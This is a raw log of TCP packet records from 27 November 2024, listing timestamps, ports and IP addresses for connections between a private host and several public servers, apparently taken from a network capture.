Nov 27, 2024 17:58:28.303945065 CET	443	49717	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.304019928 CET	443	49717	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.304212093 CET	49717	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.304735899 CET	49717	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.304754972 CET	443	49717	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.305366039 CET	49717	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.305372000 CET	443	49717	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.309165955 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.309212923 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.309284925 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.309453011 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.309468031 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.331984043 CET	443	49716	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.332050085 CET	443	49716	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.332101107 CET	49716	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.332328081 CET	49716	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.332348108 CET	443	49716	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.332362890 CET	49716	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.332367897 CET	443	49716	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.335640907 CET	49731	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.335685968 CET	443	49731	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.335944891 CET	49731	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.336112976 CET	49731	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:28.336123943 CET	443	49731	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:28.723071098 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:28.723136902 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:28.723207951 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:28.725405931 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:28.725419044 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:29.084961891 CET	49700	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:29.087627888 CET	49733	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:29.087682009 CET	443	49733	104.98.116.138	192.168.2.7
Nov 27, 2024 17:58:29.087807894 CET	49733	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:29.088706017 CET	49733	443	192.168.2.7	104.98.116.138
Nov 27, 2024 17:58:29.088721991 CET	443	49733	104.98.116.138	192.168.2.7
Nov 27, 2024 17:58:29.212431908 CET	443	49700	104.98.116.138	192.168.2.7
Nov 27, 2024 17:58:29.693598986 CET	443	49722	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.693866968 CET	49722	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.693912983 CET	443	49722	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.694969893 CET	443	49722	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.695036888 CET	49722	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.696249008 CET	49722	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.696329117 CET	443	49722	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.696548939 CET	49722	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.696564913 CET	443	49722	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.732218981 CET	443	49723	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.732423067 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.732518911 CET	49723	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.732531071 CET	443	49723	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.732693911 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.732702017 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.733618021 CET	443	49723	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.733705997 CET	49723	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.733793974 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.733867884 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.733994961 CET	49723	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.734064102 CET	443	49723	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.734373093 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.734435081 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.734503031 CET	49723	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.734510899 CET	443	49723	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.734613895 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.734620094 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.737792969 CET	49722	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.767688036 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:29.767760038 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:29.781579018 CET	443	49720	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.781928062 CET	49720	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.781966925 CET	443	49720	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.782546997 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.783024073 CET	443	49720	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.783083916 CET	49720	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.783428907 CET	49720	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.783488035 CET	443	49720	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.783571959 CET	49720	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.784651995 CET	49723	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.831331968 CET	443	49720	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.831559896 CET	49720	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.831592083 CET	443	49720	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:29.878467083 CET	49720	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:29.932254076 CET	443	49725	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:29.933099985 CET	49725	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:29.933131933 CET	443	49725	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:29.933609962 CET	49725	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:29.933620930 CET	443	49725	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.009403944 CET	443	49728	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.009985924 CET	49728	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.010024071 CET	443	49728	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.010488033 CET	49728	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.010497093 CET	443	49728	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.048417091 CET	49723	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.048551083 CET	443	49723	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.048690081 CET	49723	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.077460051 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.078027964 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.078058004 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.078593016 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.078598976 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.090715885 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.091265917 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.091284990 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.091799974 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.091804981 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.119103909 CET	443	49731	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.119848967 CET	49731	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.119873047 CET	443	49731	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.120362997 CET	49731	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.120369911 CET	443	49731	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.375886917 CET	443	49725	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.375951052 CET	443	49725	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.376029015 CET	49725	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.376293898 CET	49725	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.376312971 CET	443	49725	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.376324892 CET	49725	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.376331091 CET	443	49725	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.380937099 CET	49735	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.380991936 CET	443	49735	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.381083012 CET	49735	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.381408930 CET	49735	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.381423950 CET	443	49735	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.454868078 CET	443	49728	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.454936028 CET	443	49728	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.455099106 CET	49728	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.455302000 CET	49728	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.455332994 CET	443	49728	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.455351114 CET	49728	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.455358982 CET	443	49728	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.459755898 CET	49736	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.459798098 CET	443	49736	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.460021973 CET	49736	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.460192919 CET	49736	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.460206985 CET	443	49736	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.530857086 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.530926943 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.531224966 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.531271935 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.531271935 CET	49729	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.531301022 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.531322956 CET	443	49729	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.534931898 CET	49737	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.534989119 CET	443	49737	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.535063028 CET	49737	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.535264015 CET	49737	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.535279036 CET	443	49737	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.535927057 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.535995960 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.536077023 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.536164999 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.536181927 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.536192894 CET	49730	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.536199093 CET	443	49730	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.538587093 CET	49738	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.538630962 CET	443	49738	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.538831949 CET	49738	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.538940907 CET	49738	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.538949013 CET	443	49738	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.560152054 CET	443	49722	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.560301065 CET	443	49722	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.560625076 CET	49722	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.561774969 CET	49722	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.561800957 CET	443	49722	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.581665993 CET	443	49731	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.581742048 CET	443	49731	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.581819057 CET	49731	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.582040071 CET	49731	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.582072973 CET	443	49731	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.582089901 CET	49731	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.582097054 CET	443	49731	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.587711096 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.587757111 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.587831974 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.588017941 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:30.588036060 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:30.592921019 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.592972040 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.593014002 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.593045950 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.593066931 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.593076944 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.593089104 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.599047899 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:30.599131107 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:30.602566004 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:30.602582932 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:30.602878094 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:30.607068062 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.607132912 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.607146025 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.619688988 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.619756937 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.619765043 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.623826027 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.623994112 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.624000072 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.643230915 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:30.663479090 CET	443	49720	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.663628101 CET	443	49720	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.663687944 CET	49720	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.674523115 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.679861069 CET	49720	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.679897070 CET	443	49720	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.780097961 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.794264078 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.794363976 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.794378042 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.798007965 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.798156977 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.798163891 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.811697960 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.811821938 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.811830997 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.821822882 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.821885109 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.821892977 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.833050013 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.833245993 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.833255053 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.845782042 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.845905066 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.845912933 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.858666897 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.858727932 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.858747959 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.871661901 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.871738911 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.871746063 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.900281906 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.900326967 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.900401115 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.900418043 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.900561094 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.904243946 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.915364027 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.915456057 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.915472031 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.971988916 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.981796980 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.984896898 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.984963894 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.984978914 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.995259047 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.995299101 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.995785952 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.995799065 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:30.996005058 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:30.999908924 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.007122993 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.007186890 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.007210970 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.007221937 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.007292986 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.014096975 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.024288893 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.024318933 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.024367094 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.024379969 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.024471045 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.035643101 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.046967983 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.047096014 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.047096014 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.047107935 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.047151089 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.058607101 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.070055962 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.070118904 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.070153952 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.070166111 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.070214987 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.081372023 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.092324018 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.092360973 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.092441082 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.092458010 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.092511892 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.102765083 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.111687899 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.111725092 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.111812115 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.111824989 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.111867905 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.121082067 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.130295038 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.130403042 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.130414963 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.139636040 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.139672995 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.139718056 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.139736891 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.139787912 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.147525072 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.156691074 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.156727076 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.156768084 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.156783104 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.156991005 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.157439947 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.165079117 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.165170908 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.165184975 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.173636913 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.173741102 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.173754930 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.180058956 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.180149078 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.180161953 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.196368933 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.196444035 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.196464062 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.201064110 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.201144934 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.201162100 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.201942921 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.202030897 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.202039957 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.207241058 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.207328081 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.207340002 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.209935904 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.210078001 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.210088968 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.214226007 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.214406967 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.214422941 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.225188971 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.225332022 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.225343943 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.226819038 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.226882935 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.226891994 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.236942053 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.236991882 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.237044096 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.237060070 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.237127066 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.237452030 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.237495899 CET	443	49721	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:31.237673998 CET	49721	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.881829977 CET	49745	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.881886959 CET	443	49745	142.250.181.100	192.168.2.7
